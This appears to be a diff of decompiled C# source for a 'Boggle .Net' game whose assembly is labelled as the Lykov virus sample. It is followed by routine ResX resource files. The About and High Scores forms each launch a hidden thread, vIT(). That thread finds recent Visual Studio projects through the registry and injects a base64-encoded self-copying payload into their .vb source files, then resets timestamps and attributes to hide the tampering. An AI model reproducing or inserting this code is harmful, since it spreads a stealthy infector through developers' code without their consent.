"VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public frmAbout()
{
this.Load += new EventHandler(this.frmAbout_Load);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
ResourceManager resourceManager = new ResourceManager(typeof (frmAbout));
this.Label1 = new Label();
this.Label2 = new Label();
this.Label3 = new Label();
this.Label4 = new Label();
this.PictureBox1 = new PictureBox();
this.SuspendLayout();
this.Label1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label1_1 = this.Label1;
Point point1 = new Point(152, 16);
Point point2 = point1;
label1_1.Location = point2;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
Size size1 = new Size(88, 24);
Size size2 = size1;
label1_2.Size = size2;
this.Label1.TabIndex = 0;
this.Label1.Text = "Boggle .Net";
this.Label2.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label2_1 = this.Label2;
point1 = new Point(152, 48);
Point point3 = point1;
label2_1.Location = point3;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(216, 24);
Size size3 = size1;
label2_2.Size = size3;
this.Label2.TabIndex = 1;
this.Label2.Text = "Copyright (C) 2003 Billy Collins";
this.Label3.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label3_1 = this.Label3;
point1 = new Point(152, 80);
Point point4 = point1;
label3_1.Location = point4;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(216, 24);
Size size4 = size1;
label3_2.Size = size4;
this.Label3.TabIndex = 2;
this.Label3.Text = "Programmed By: Billy Collins";
this.Label4.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label4_1 = this.Label4;
point1 = new Point(152, 112);
Point point5 = point1;
label4_1.Location = point5;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(208, 24);
Size size5 = size1;
label4_2.Size = size5;
this.Label4.TabIndex = 3;
this.Label4.Text = "Images By: Peter Tuttle";
this.PictureBox1.Image = (Image) resourceManager.GetObject("PictureBox1.Image");
PictureBox pictureBox1_1 = this.PictureBox1;
point1 = new Point(8, 16);
Point point6 = point1;
pictureBox1_1.Location = point6;
this.PictureBox1.Name = "PictureBox1";
PictureBox pictureBox1_2 = this.PictureBox1;
size1 = new Size(128, 120);
Size size6 = size1;
pictureBox1_2.Size = size6;
this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
this.PictureBox1.TabIndex = 4;
this.PictureBox1.TabStop = false;
size1 = new Size(5, 13);
this.AutoScaleBaseSize = size1;
size1 = new Size(378, 151);
this.ClientSize = size1;
this.Controls.AddRange(new Control[5]
{
(Control) this.PictureBox1,
(Control) this.Label4,
(Control) this.Label3,
(Control) this.Label2,
(Control) this.Label1
});
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (frmAbout);
this.Text = "About Boggle .Net";
this.TopMost = true;
this.ResumeLayout(false);
}
private void frmAbout_Load(object sender, EventArgs e)
{
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
}
}
}
@@ -0,0 +1,351 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.frmHighScores
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Data.OleDb;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class frmHighScores : Form
{
[AccessedThroughProperty("btnClear")]
private Button _btnClear;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("lstMain")]
private ListBox _lstMain;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("Label5")]
private Label _Label5;
[AccessedThroughProperty("Label2")]
private Label _Label2;
private IContainer components;
internal virtual Button btnClear
{
get => this._btnClear;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnClear != null)
this._btnClear.Click -= new EventHandler(this.btnClear_Click);
this._btnClear = value;
if (this._btnClear == null)
return;
this._btnClear.Click += new EventHandler(this.btnClear_Click);
}
}
internal virtual Label Label5
{
get => this._Label5;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label5 == null)
;
this._Label5 = value;
if (this._Label5 == null)
;
}
}
internal virtual ListBox lstMain
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lstMain == null)
;
this._lstMain = value;
if (this._lstMain == null)
;
}
get => this._lstMain;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label1 == null)
;
this._Label1 = value;
if (this._Label1 == null)
;
}
}
internal virtual Label Label2
{
get => this._Label2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label2 == null)
;
this._Label2 = value;
if (this._Label2 == null)
;
}
}
internal virtual Label Label3
{
get => this._Label3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label3 == null)
;
this._Label3 = value;
if (this._Label3 == null)
;
}
}
internal virtual Label Label4
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label4 == null)
;
this._Label4 = value;
if (this._Label4 == null)
;
}
get => this._Label4;
}
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public frmHighScores()
{
this.Load += new EventHandler(this.frmHighScores_Load);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.lstMain = new ListBox();
this.Label1 = new Label();
this.Label2 = new Label();
this.Label3 = new Label();
this.Label4 = new Label();
this.Label5 = new Label();
this.btnClear = new Button();
this.SuspendLayout();
this.lstMain.BackColor = System.Drawing.Color.Black;
this.lstMain.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lstMain.ForeColor = System.Drawing.Color.DodgerBlue;
this.lstMain.ItemHeight = 16;
ListBox lstMain1 = this.lstMain;
Point point1 = new Point(16, 72);
Point point2 = point1;
lstMain1.Location = point2;
this.lstMain.Name = "lstMain";
ListBox lstMain2 = this.lstMain;
Size size1 = new Size(248, 164);
Size size2 = size1;
lstMain2.Size = size2;
this.lstMain.TabIndex = 0;
this.Label1.AutoSize = true;
this.Label1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label1_1 = this.Label1;
point1 = new Point(16, 56);
Point point3 = point1;
label1_1.Location = point3;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
size1 = new Size(38, 13);
Size size3 = size1;
label1_2.Size = size3;
this.Label1.TabIndex = 1;
this.Label1.Text = "Player";
this.Label2.AutoSize = true;
this.Label2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label2_1 = this.Label2;
point1 = new Point(88, 56);
Point point4 = point1;
label2_1.Location = point4;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(32, 13);
Size size4 = size1;
label2_2.Size = size4;
this.Label2.TabIndex = 2;
this.Label2.Text = "Level";
this.Label3.AutoSize = true;
this.Label3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label3_1 = this.Label3;
point1 = new Point(224, 56);
Point point5 = point1;
label3_1.Location = point5;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(35, 13);
Size size5 = size1;
label3_2.Size = size5;
this.Label3.TabIndex = 3;
this.Label3.Text = "Score";
this.Label4.AutoSize = true;
this.Label4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label4_1 = this.Label4;
point1 = new Point(152, 56);
Point point6 = point1;
label4_1.Location = point6;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(45, 13);
Size size6 = size1;
label4_2.Size = size6;
this.Label4.TabIndex = 4;
this.Label4.Text = "Rounds";
this.Label5.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label5_1 = this.Label5;
point1 = new Point(36, 16);
Point point7 = point1;
label5_1.Location = point7;
this.Label5.Name = "Label5";
Label label5_2 = this.Label5;
size1 = new Size(208, 24);
Size size7 = size1;
label5_2.Size = size7;
this.Label5.TabIndex = 5;
this.Label5.Text = "Top 10 Winning Streaks";
Button btnClear1 = this.btnClear;
point1 = new Point(80, 248);
Point point8 = point1;
btnClear1.Location = point8;
this.btnClear.Name = "btnClear";
Button btnClear2 = this.btnClear;
size1 = new Size(120, 23);
Size size8 = size1;
btnClear2.Size = size8;
this.btnClear.TabIndex = 6;
this.btnClear.Text = "Clear High Scores";
size1 = new Size(5, 13);
this.AutoScaleBaseSize = size1;
this.BackColor = System.Drawing.Color.DarkGray;
size1 = new Size(280, 285);
this.ClientSize = size1;
this.Controls.AddRange(new Control[7]
{
(Control) this.btnClear,
(Control) this.Label5,
(Control) this.Label4,
(Control) this.Label3,
(Control) this.Label2,
(Control) this.Label1,
(Control) this.lstMain
});
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (frmHighScores);
this.Text = "Boggle .Net Winning Streaks";
this.ResumeLayout(false);
}
private void frmHighScores_Load(object sender, EventArgs e)
{
OleDbCommand oleDbCommand = new OleDbCommand("Select * From HighScores Order By Rounds Desc", modGlobal.conBoggle);
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
modGlobal.conBoggle.Open();
OleDbDataReader oleDbDataReader = oleDbCommand.ExecuteReader();
while (oleDbDataReader.Read())
this.lstMain.Items.Add(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj((object) " ", oleDbDataReader[0]), (object) "\t"), oleDbDataReader[1]), (object) "\t"), oleDbDataReader[2]), (object) "\t"), oleDbDataReader[3]));
oleDbDataReader.Close();
modGlobal.conBoggle.Close();
}
private void btnClear_Click(object sender, EventArgs e)
{
OleDbCommand oleDbCommand = new OleDbCommand("Delete From HighScores", modGlobal.conBoggle);
if (MessageBox.Show("Are you sure you want to clear the high score table?", "Clear High Scores", MessageBoxButtons.YesNo) == DialogResult.No)
return;
modGlobal.conBoggle.Open();
oleDbCommand.ExecuteNonQuery();
modGlobal.conBoggle.Close();
this.lstMain.Items.Clear();
}
}
}
@@ -0,0 +1,144 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="Label4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>DWZybUhpZ2hTY29yZXM=</value>
</data>
<data name="Label5.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lstMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnClear.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
</root>
@@ -0,0 +1,480 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
